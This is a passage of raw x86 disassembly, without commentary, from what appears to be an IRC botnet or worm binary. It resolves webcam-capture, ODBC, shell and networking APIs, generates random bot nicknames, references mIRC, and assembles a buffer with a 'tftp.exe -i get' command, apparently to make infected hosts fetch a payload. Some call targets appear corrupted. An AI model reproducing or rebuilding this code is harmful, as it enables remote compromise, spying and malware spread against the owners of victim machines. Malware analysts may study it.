XREF: sub_4098FD+B19j call near ptr 26908A7h nop mov dword_4C9418, eax loc_40A475: ; CODE XREF: sub_4098FD+B55j ; sub_4098FD+B5Dj ... mov dword_4C9414, 1 loc_40A47F: ; CODE XREF: sub_4098FD+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A4B4 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4C9270, eax call esi cmp dword_4C9270, ebx mov dword_4C9378, eax jz short loc_40A4BF cmp eax, ebx jnz short loc_40A4C9 jmp short loc_40A4BF ; --------------------------------------------------------------------------- loc_40A4B4: ; CODE XREF: sub_4098FD+B8Dj nop call near ptr 26908A7h mov dword_4C9420, eax loc_40A4BF: ; CODE XREF: sub_4098FD+BAFj ; sub_4098FD+BB5j mov dword_4C941C, 1 loc_40A4C9: ; CODE XREF: sub_4098FD+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A552 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4C9340, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4C938C, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4C92C8, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4C9280, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4C9320, eax call esi cmp dword_4C9340, ebx mov dword_4C9290, eax jz short loc_40A55D cmp dword_4C938C, ebx jz short loc_40A55D cmp dword_4C92C8, ebx jz short loc_40A55D cmp dword_4C9280, ebx jz short loc_40A55D cmp dword_4C9320, ebx jz short loc_40A55D cmp eax, ebx jnz short loc_40A567 jmp short loc_40A55D ; --------------------------------------------------------------------------- loc_40A552: ; CODE XREF: sub_4098FD+BD7j nop call near ptr 26908A7h mov dword_4C9428, eax loc_40A55D: ; CODE XREF: sub_4098FD+C2Dj ; sub_4098FD+C35j ... mov dword_4C9424, 1 loc_40A567: ; CODE XREF: sub_4098FD+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A59C push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4C9254, eax call esi cmp dword_4C9254, ebx mov dword_4C9334, eax jz short loc_40A5A7 cmp eax, ebx jnz short loc_40A5B1 jmp short loc_40A5A7 ; --------------------------------------------------------------------------- loc_40A59C: ; CODE XREF: sub_4098FD+C75j nop call near ptr 26908A7h mov dword_4C9430, eax loc_40A5A7: ; CODE XREF: sub_4098FD+C97j ; sub_4098FD+C9Dj mov dword_4C942C, 1 loc_40A5B1: ; CODE XREF: sub_4098FD+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_4098FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5B9 proc near ; CODE XREF: sub_401AC7+24FBp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4C93C4, esi push edi mov edi, [ebp+arg_8] jz short loc_40A601 push dword_4C93C8 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A601: ; CODE XREF: sub_40A5B9+1Aj cmp dword_4C93CC, esi jz short loc_40A635 push dword_4C93D0 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A635: ; CODE XREF: sub_40A5B9+4Ej cmp dword_4C93D4, esi jz short loc_40A669 push dword_4C93D8 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A669: ; CODE XREF: sub_40A5B9+82j cmp dword_4C93DC, esi jz short loc_40A69D push dword_4C93E0 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A69D: ; CODE XREF: sub_40A5B9+B6j cmp dword_4C93E4, esi jz short loc_40A6D1 push dword_4C93E8 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A6D1: ; CODE XREF: sub_40A5B9+EAj cmp dword_4C93EC, esi jz short loc_40A705 push dword_4C93F0 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A705: ; CODE XREF: sub_40A5B9+11Ej cmp dword_4C93F4, esi jz short loc_40A739 push dword_4C93F8 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A739: ; CODE XREF: sub_40A5B9+152j cmp dword_4C93FC, esi jz short loc_40A76D push dword_4C9400 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A76D: ; CODE XREF: sub_40A5B9+186j cmp dword_4C9404, esi jz short loc_40A7A1 push dword_4C9408 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A7A1: ; CODE XREF: sub_40A5B9+1BAj cmp dword_4C940C, esi jz short loc_40A7D5 push dword_4C9410 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A7D5: ; CODE XREF: sub_40A5B9+1EEj cmp dword_4C9414, esi jz short loc_40A809 push dword_4C9418 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A809: ; CODE XREF: sub_40A5B9+222j cmp dword_4C941C, esi jz short loc_40A83D push dword_4C9420 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A83D: ; CODE XREF: sub_40A5B9+256j cmp dword_4C9424, esi jz short loc_40A871 push dword_4C9428 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A871: ; CODE XREF: sub_40A5B9+28Aj cmp dword_4C942C, esi jz short loc_40A8A5 push dword_4C9430 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A8A5: ; CODE XREF: sub_40A5B9+2BEj lea eax, [ebp+var_200] push offset unk_42D6D0 push eax call sub_41C006 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A8D2 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 14h loc_40A8D2: ; CODE XREF: sub_40A5B9+302j lea eax, [ebp+var_200] push eax call sub_415CEE pop ecx pop edi pop esi pop ebx leave retn sub_40A5B9 endp ; =============== S U B R O U T I N E ======================================= sub_40A8E4 proc near ; CODE XREF: sub_4017E7+4Fp ; sub_401AC7+5C0Fp ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4C9344 cmp eax, 0FFFFFFFFh jnz short locret_40A90C push [esp+arg_0] call dword_4C9388 test eax, eax jnz short loc_40A905 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40A905: ; CODE XREF: sub_40A8E4+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40A90C: ; CODE XREF: sub_40A8E4+Dj retn sub_40A8E4 endp ; =============== S U B R O U T I N E ======================================= sub_40A90D proc near ; CODE XREF: sub_4017E7+D6p mov ecx, dword_4C9220 xor eax, eax test ecx, ecx jz short locret_40A91B call ecx locret_40A91B: ; CODE XREF: sub_40A90D+Aj retn sub_40A90D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A91C proc near ; CODE XREF: sub_401AC7:loc_403EE7p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4C9380 mov ecx, eax sub ecx, edi jz loc_40A9E2 sub ecx, 32h jz loc_40A9DB sub ecx, 48h jz short loc_40A97C sub ecx, 6Eh jz short loc_40A975 loc_40A95E: ; CODE XREF: sub_40A91C+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D8E4 push eax call sub_41C006 add esp, 0Ch jmp short loc_40A9BC ; --------------------------------------------------------------------------- loc_40A975: ; CODE XREF: sub_40A91C+40j push offset unk_42D8C0 jmp short loc_40A9AE ; --------------------------------------------------------------------------- loc_40A97C: ; CODE XREF: sub_40A91C+3Bj push [ebp+var_8] call sub_41BC9B push [ebp+var_8] mov esi, eax push edi push esi call sub_41BD10 add esp, 10h cmp esi, edi jz short loc_40A9A9 lea eax, [ebp+var_8] push ebx push eax push esi call dword_4C9380 cmp eax, edi jz short loc_40A9E2 jmp short loc_40A95E ; --------------------------------------------------------------------------- loc_40A9A9: ; CODE XREF: sub_40A91C+79j push offset unk_42D890 loc_40A9AE: ; CODE XREF: sub_40A91C+5Ej ; sub_40A91C+C4j lea eax, [ebp+var_88] push eax call sub_41C006 pop ecx pop ecx loc_40A9BC: ; CODE XREF: sub_40A91C+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_415CEE pop ecx loc_40A9CC: ; CODE XREF: sub_40A91C+C8j ; sub_40A91C+DCj push esi call sub_41BA31 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A9DB: ; CODE XREF: sub_40A91C+32j push offset unk_42D860 jmp short loc_40A9AE ; --------------------------------------------------------------------------- loc_40A9E2: ; CODE XREF: sub_40A91C+29j ; sub_40A91C+89j cmp [esi], edi jbe short loc_40A9CC lea ebx, [esi+4] loc_40A9E9: ; CODE XREF: sub_40A91C+DAj push ebx call dword_4C937C inc edi add ebx, 18h cmp edi, [esi] jb short loc_40A9E9 jmp short loc_40A9CC sub_40A91C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9FA proc near ; CODE XREF: sub_401AC7+21DAp ; sub_401AC7+2328p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4C92A8 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4C9434 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41C006 add esp, 18h mov eax, esi pop esi leave retn sub_40A9FA endp ; =============== S U B R O U T I N E ======================================= sub_40AA53 proc near ; CODE XREF: sub_41364F+24Cp ; sub_41364F+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AA7C mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AA6F: ; CODE XREF: sub_40AA53+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AA6F pop edi jmp short loc_40AA80 ; --------------------------------------------------------------------------- loc_40AA7C: ; CODE XREF: sub_40AA53+Aj mov edx, [esp+4+arg_0] loc_40AA80: ; CODE XREF: sub_40AA53+27j test esi, esi pop esi jz short loc_40AA8A movzx ecx, byte ptr [edx] add eax, ecx loc_40AA8A: ; CODE XREF: sub_40AA53+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AA53 endp ; =============== S U B R O U T I N E ======================================= sub_40AAA0 proc near ; CODE XREF: sub_40AE77+49p ; DATA XREF: ___:off_42D930o arg_0 = dword ptr 4 push esi push edi call near ptr 26A06B3h nop push eax call sub_41C058 call sub_41C062 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+0Ch+arg_0] push off_42D9AC[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41C100 xor esi, esi add esp, 14h cmp dword_429094, esi jle short loc_40AB07 loc_40AAE1: ; CODE XREF: sub_40AAA0+65j call sub_41C062 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B8A0 push 1Ch push edi call sub_41C100 add esp, 14h inc esi cmp esi, dword_429094 jl short loc_40AAE1 loc_40AB07: ; CODE XREF: sub_40AAA0+3Fj mov eax, edi pop edi pop esi retn sub_40AAA0 endp ; --------------------------------------------------------------------------- dd 0E8905756h, 2295B9Fh, 153EE850h, 7C8B0001h, 4C71024h dd 42913824h, 0CCC06800h, 1C6A0042h, 15CEE857h, 0F6330001h dd 3910C483h, 42909435h, 0E8267E00h, 1151Eh, 59990A6Ah dd 5752F9F7h, 42B8A068h, 571C6A00h, 115A7E8h, 14C48300h dd 94353B46h, 7C004290h, 5FC78BDAh ; --------------------------------------------------------------------------- pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AB6A proc near ; CODE XREF: sub_401AC7+6922p arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 26A06B3h push eax call sub_41C058 pop ecx call sub_41C062 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429094 test esi, esi jle short loc_40ABAD loc_40AB97: ; CODE XREF: sub_40AB6A+41j call sub_41C062 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40AB97 loc_40ABAD: ; CODE XREF: sub_40AB6A+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AB6A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 26A06B3h push eax call sub_41C058 pop ecx lea eax, [ebp-8] mov esi, offset byte_431604 push eax push esi nop call near ptr 26D0000h movsx eax, byte_431604 push 41h pop ecx push 1 pop edx loc_40ABF3: ; CODE XREF: ___:0040ABFEj cmp eax, ecx jnz short loc_40ABFA mov [ebp-4], edx loc_40ABFA: ; CODE XREF: ___:0040ABF5j inc ecx cmp ecx, 5Bh jl short loc_40ABF3 push 61h pop ecx loc_40AC03: ; CODE XREF: ___:0040AC0Ej cmp eax, ecx jnz short loc_40AC0A mov [ebp-4], edx loc_40AC0A: ; CODE XREF: ___:0040AC05j inc ecx cmp ecx, 7Bh jl short loc_40AC03 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41C100 xor esi, esi add esp, 0Ch cmp dword_429094, esi jle short loc_40AC4F loc_40AC29: ; CODE XREF: ___:0040AC4Dj call sub_41C062 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B8A0 push 1Ch push edi call sub_41C100 add esp, 14h inc esi cmp esi, dword_429094 jl short loc_40AC29 loc_40AC4F: ; CODE XREF: ___:0040AC27j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call near ptr 26A06B3h nop push eax call sub_41C058 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 26E0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_431608 push 1Ch push edi call sub_41C100 xor esi, esi add esp, 10h cmp dword_429094, esi jle short loc_40ACC4 loc_40AC9E: ; CODE XREF: ___:0040ACC2j call sub_41C062 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B8A0 push 1Ch push edi call sub_41C100 add esp, 14h inc esi cmp esi, dword_429094 jl short loc_40AC9E loc_40ACC4: ; CODE XREF: ___:0040AC9Cj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43B4B8 mov dword ptr [ebp-94h], 94h call near ptr 26E04B4h nop nop call near ptr 26A06B3h push eax call sub_41C058 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AD4E cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD2E cmp dword ptr [ebp-84h], 1 jnz short loc_40AD1E mov esi, offset dword_431630 loc_40AD1E: ; CODE XREF: ___:0040AD17j cmp dword ptr [ebp-84h], 2 jnz short loc_40AD8A mov esi, offset dword_43162C jmp short loc_40AD8A ; --------------------------------------------------------------------------- loc_40AD2E: ; CODE XREF: ___:0040AD0Ej cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AD3E mov esi, offset dword_431628 jmp short loc_40AD8A ; --------------------------------------------------------------------------- loc_40AD3E: ; CODE XREF: ___:0040AD35j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AD85 mov esi, offset dword_431624 jmp short loc_40AD8A ; --------------------------------------------------------------------------- loc_40AD4E: ; CODE XREF: ___:0040AD05j cmp dword ptr [ebp-90h], 5 jnz short loc_40AD85 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD67 mov esi, offset dword_431620 jmp short loc_40AD8A ; --------------------------------------------------------------------------- loc_40AD67: ; CODE XREF: ___:0040AD5Ej cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AD77 mov esi, offset dword_43161C jmp short loc_40AD8A ; --------------------------------------------------------------------------- loc_40AD77: ; CODE XREF: ___:0040AD6Ej cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431618 jz short loc_40AD8A loc_40AD85: ; CODE XREF: ___:0040AD45j ; ___:0040AD55j mov esi, offset dword_431614 loc_40AD8A: ; CODE XREF: ___:0040AD25j ; ___:0040AD2Cj ... mov edi, [ebp+8] push esi push offset dword_43160C push 1Ch push edi call sub_41C100 xor esi, esi add esp, 10h cmp dword_429094, esi jle short loc_40ADCE loc_40ADA8: ; CODE XREF: ___:0040ADCCj call sub_41C062 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B8A0 push 1Ch push edi call sub_41C100 add esp, 14h inc esi cmp esi, dword_429094 jl short loc_40ADA8 loc_40ADCE: ; CODE XREF: ___:0040ADA6j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADD4 proc near ; CODE XREF: sub_40AE77+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call near ptr 26A06B3h nop xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40AE23 call dword_4C9310 test eax, eax mov eax, offset dword_43163C jnz short loc_40AE0C mov eax, offset byte_43B4B8 loc_40AE0C: ; CODE XREF: sub_40ADD4+31j push eax push esi push offset dword_431634 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41C100 add esp, 14h jmp short loc_40AE43 ; --------------------------------------------------------------------------- loc_40AE23: ; CODE XREF: sub_40ADD4+22j call dword_4C9310 test eax, eax mov eax, offset dword_43163C jnz short loc_40AE37 mov eax, offset byte_43B4B8 loc_40AE37: ; CODE XREF: sub_40ADD4+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41C006 pop ecx pop ecx loc_40AE43: ; CODE XREF: sub_40ADD4+4Dj lea eax, [ebp+var_1C] push eax call sub_41B960 pop ecx cmp eax, 2 pop esi jbe short loc_40AE72 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C950 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41BD70 add esp, 18h loc_40AE72: ; CODE XREF: sub_40ADD4+7Dj mov eax, [ebp+arg_0] leave retn sub_40ADD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE77 proc near ; CODE XREF: sub_4017E7+7Fp ; sub_40194F+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D92C loc_40AE83: ; CODE XREF: sub_40AE77+3Fj cmp [ebp+arg_C], 0 jz short loc_40AE9E lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C7E0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40AEA8 ; --------------------------------------------------------------------------- loc_40AE9E: ; CODE XREF: sub_40AE77+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40AEA8: ; CODE XREF: sub_40AE77+25j test eax, eax jnz short loc_40AEBA add esi, 14h inc edi cmp esi, offset off_42D9B8 jl short loc_40AE83 jmp short loc_40AEC8 ; --------------------------------------------------------------------------- loc_40AEBA: ; CODE XREF: sub_40AE77+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D930[eax*4] pop ecx loc_40AEC8: ; CODE XREF: sub_40AE77+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40AEDB push [ebp+arg_0] call sub_40ADD4 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40AEDB: ; CODE XREF: sub_40AE77+57j mov eax, [ebp+arg_0] pop ebp retn sub_40AE77 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0B8h push ebx push esi lea eax, [ebp-0B8h] push edi push eax mov edi, offset byte_43B4B8 mov dword ptr [ebp-0B8h], 94h nop call near ptr 26E04B4h cmp dword ptr [ebp-0B4h], 4 push 0Ah pop ebx jnz short loc_40AF5A cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF3B cmp dword ptr [ebp-0A8h], 1 jnz short loc_40AF2B mov edi, offset dword_431630 loc_40AF2B: ; CODE XREF: ___:0040AF24j cmp dword ptr [ebp-0A8h], 2 jnz short loc_40AF96 mov edi, offset dword_43162C jmp short loc_40AF96 ; --------------------------------------------------------------------------- loc_40AF3B: ; CODE XREF: ___:0040AF1Bj cmp [ebp-0B0h], ebx jnz short loc_40AF4A mov edi, offset dword_431628 jmp short loc_40AF96 ; --------------------------------------------------------------------------- loc_40AF4A: ; CODE XREF: ___:0040AF41j cmp dword ptr [ebp-0B0h], 5Ah jnz short loc_40AF91 mov edi, offset dword_431624 jmp short loc_40AF96 ; --------------------------------------------------------------------------- loc_40AF5A: ; CODE XREF: ___:0040AF12j cmp dword ptr [ebp-0B4h], 5 jnz short loc_40AF91 cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF73 mov edi, offset dword_431620 jmp short loc_40AF96 ; --------------------------------------------------------------------------- loc_40AF73: ; CODE XREF: ___:0040AF6Aj cmp dword ptr [ebp-0B0h], 1 jnz short loc_40AF83 mov edi, offset dword_43161C jmp short loc_40AF96 ; --------------------------------------------------------------------------- loc_40AF83: ; CODE XREF: ___:0040AF7Aj cmp dword ptr [ebp-0B0h], 2 mov edi, offset dword_431694 jz short loc_40AF96 loc_40AF91: ; CODE XREF: ___:0040AF51j ; ___:0040AF61j mov edi, offset dword_431690 loc_40AF96: ; CODE XREF: ___:0040AF32j ; ___:0040AF39j ... lea eax, [ebp-0A4h] push offset word_4C91BC push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40AFB4 mov esi, offset dword_43168C jmp short loc_40B02F ; --------------------------------------------------------------------------- loc_40AFB4: ; CODE XREF: ___:0040AFABj lea eax, [ebp-0A4h] push offset a1 ; "1" push eax call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_40AFD2 mov esi, offset sub_431688 jmp short loc_40B02F ; --------------------------------------------------------------------------- loc_40AFD2: ; CODE XREF: ___:0040AFC9j lea eax, [ebp-0A4h] push offset dword_431684 push eax call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_40AFF0 mov esi, offset dword_431680 jmp short loc_40B02F ; --------------------------------------------------------------------------- loc_40AFF0: ; CODE XREF: ___:0040AFE7j lea eax, [ebp-0A4h] push offset dword_43167C push eax call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_40B00E mov esi, offset dword_431678 jmp short loc_40B02F ; --------------------------------------------------------------------------- loc_40B00E: ; CODE XREF: ___:0040B005j lea eax, [ebp-0A4h] push offset dword_431674 push eax call sub_41C080 pop ecx mov esi, offset dword_431670 test eax, eax pop ecx jnz short loc_40B02F mov esi, offset off_43166C loc_40B02F: ; CODE XREF: ___:0040AFB2j ; ___:0040AFD0j ... lea eax, [ebp-0Ch] or dword ptr [ebp-4], 0FFFFFFFFh push eax or dword ptr [ebp-8], 0FFFFFFFFh or dword ptr [ebp-0Ch], 0FFFFFFFFh lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push offset aDdDhDm ; "%dd %dh %dm" push 0 call sub_41AD74 pop ecx push eax call sub_41CA73 mov eax, [ebp-4] add esp, 14h cmp eax, ebx jge short loc_40B079 push eax push offset a0D ; "0%d" lea eax, [ebp-18h] push ebx push eax call sub_41C100 add esp, 10h jmp short loc_40B09D ; --------------------------------------------------------------------------- loc_40B079: ; CODE XREF: ___:0040B062j cmp eax, 64h jge short loc_40B08B lea ecx, [ebp-18h] push ebx push ecx push eax call sub_426642 jmp short loc_40B09A ; --------------------------------------------------------------------------- loc_40B08B: ; CODE XREF: ___:0040B07Cj push offset a99 ; "99" lea eax, [ebp-18h] push ebx push eax call sub_41C100 loc_40B09A: ; CODE XREF: ___:0040B089j add esp, 0Ch loc_40B09D: ; CODE XREF: ___:0040B077j nop call near ptr 26A06B3h push eax call sub_41C058 pop ecx lea eax, [ebp-24h] push ebx push eax push 7 push 800h nop call near ptr 26E0000h lea eax, [ebp-18h] push eax push esi lea eax, [ebp-24h] push edi mov edi, [ebp+8] push eax push offset aSSSS ; "%s|%s|%s|%s|" push 1Ch push edi call sub_41C100 xor esi, esi add esp, 1Ch cmp dword_429094, esi jle short loc_40B108 loc_40B0E3: ; CODE XREF: ___:0040B106j call sub_41C062 cdq mov ecx, ebx idiv ecx push edx push edi push offset dword_42B8A0 push 1Ch push edi call sub_41C100 add esp, 14h inc esi cmp esi, dword_429094 jl short loc_40B0E3 loc_40B108: ; CODE XREF: ___:0040B0E1j mov eax, edi pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40B10F proc near ; CODE XREF: sub_40B12F+Ap ; sub_40B207+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41B960 push [esp+8+arg_4] mov esi, eax call sub_41B960 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_40B10F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B12F proc near ; CODE XREF: sub_40B21E+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_40B10F cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_40B14C xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B14C: ; CODE XREF: sub_40B12F+17j push ebx push esi push edi push [ebp+arg_8] call sub_41B960 push [ebp+arg_C] mov esi, eax call sub_41B960 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_43172C, eax lea eax, [edi+1] mov dword_43174D, eax lea eax, [edi+17h] mov dword_431745, eax pop eax push 74h sub eax, edi push offset dword_4316C8 push ebx mov dword_43175B, eax call sub_41CAB0 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_41CAB0 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_41CAB0 add esi, 5 push edi push [ebp+arg_C] lea 